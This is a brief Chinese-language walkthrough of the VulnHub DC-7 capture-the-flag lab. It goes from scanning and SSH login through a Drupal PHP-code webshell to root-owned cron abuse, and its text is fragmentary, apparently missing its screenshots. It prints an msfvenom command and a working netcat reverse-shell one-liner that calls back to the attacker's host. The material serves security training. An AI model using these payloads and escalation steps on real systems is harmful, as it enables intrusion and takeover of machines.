靶机下载地址：
https://www.vulnhub.com/entry/dc-7,356/
主机扫描：
http://10.10.202.161/
Google搜索下：
SSH 登录
以上分析得出：此脚本是root每三分钟执行一次，并且www-data用户具有写入权限，因此需要想办法获取此权限，进行写入shell反弹即可
https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shel
我们点击扩展安装一个PHP的模块
https://www.drupal.org/project/php
创建基本网页，选择PHP code
写入shell
本地监听获取shell root权限
等了三分钟没shell过来，竟然没执行，这。。。。 换个方式吧
╰─ msfvenom -p cmd/unix/reverse_netcat lhost=10.10.202.159 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/iwxe; nc 10.10.202.159 6666 0</tmp/iwxe | /bin/sh >/tmp/iwxe 2>&1; rm /tmp/iwxe
确认已经写入
OVER !